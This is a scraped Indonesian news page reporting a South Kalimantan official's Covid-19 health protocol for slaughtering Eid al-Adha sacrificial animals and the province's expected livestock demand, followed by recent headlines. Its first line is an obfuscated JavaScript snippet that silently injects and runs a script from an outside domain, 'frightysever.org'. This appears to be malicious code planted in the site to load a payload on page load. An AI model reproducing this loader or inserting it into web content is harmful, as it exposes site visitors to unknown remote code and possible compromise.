(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kalimantan Selatan

Begini Panduan Protokol Pemotongan Hewan Kurban Idul Adha di Tengah Pandemi Covid-19


KANALKALIMANTAN.COM, BANJARMASIN – Pelaksanaan pemotongan hewan kurban di Hari Raya Idul Adha tinggal satu bulan lagi. Namun diprediksi perayaan Idul Adha tahun ini masih dalam suasana pandemi Covid-19.

Lalu, apakah ada protokol kesehatan dalam pelaksanaan pemotongan hewan kurban? Kepala Dinas Perkebunan dan Peternakan (Disbunnak) Kalimantan Selatan drh. Suparmi memaparkan, ada panduan khusus dari Kementerian Pertanian RI dalam penerapan protokol selama pemotongan hewan kurban.

“Bahwa untuk pemotongan hewan kurban di era pandemi ini memang ada pemotongan khusus. Jadi hanya petugas saja yang boleh berhadir, itupun dengan APD (alat pelindung diri) yang lengkap,” kata Suparmi, Kamis (25/6/2020) lalu.

Bahkan saat pembagian pun, juga diatur. Dimana warga yang ingin mengambil daging kurban tidak diperbolehkan untuk berkerumun.

Suparmi mengklaim, panduan protokol pemotongan hewan kurban sudah disebar ke masyarakat, seperti melalui surat resmi ke pemerintah kabupaten dan kota. Di samping itu, Disbunnak Kalsel juga akan rutin menurunkan tim untuk pengawasan baik sebelum maupun setelah pemotongan hewan kurban.

“Baik tim dari provinsi yang biasa membackup wilayah Kota Banjarbaru, Kota Banjarmasin dan Kabupaten Banjar. Nah sisanya daerah-daerah Hulu Sungai, Tanah Laut, Tanah Bumbu dan Kotabaru kita serahkan kepada tim yang menangani kesehatan hewan di wilayahnya masing-masing. Jadi masyarakat tidak perlu khawatir,” jelasnya.

Berapa kebutuhan hewan kurban di Kalsel pada tahun ini? Suparmi memprediksi untuk kebutuhan hewan kurban di Kalsel itu sekitar 10.135 ekor.

Untuk wilayah Kalsel sendiri, sebanyak 7.900 ekor hewan kurban telah disediakan. Sisanya akan didatangkan dari luar Kalsel.

“Seperti Nusa Tenggara Barat, Nusa Tenggara Timur, Sulawesi Selatan dan Jawa Timur. Itu yang biasa memasok sapi ke Kalsel,” lugas Suparmi.

Kendati di tengah pandemi Covid-19, ia optimis permintaan hewan kurban tetap tinggi. Suparmi berharap tidak ada penurunan permintaan hewan kurban di tahun 2020 ini.

“Tahun 2019 kan di atas 9 ribuan. Untuk tahun ini hitungan kami tetap, semoga ada peningkatan. Minimal sama di tahun 2019,” tandas Suparmi. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Chell

Desy Arfianty

Recent Posts

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

2 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

6 jam ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

15 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

15 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

17 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

19 jam ago

This website uses cookies.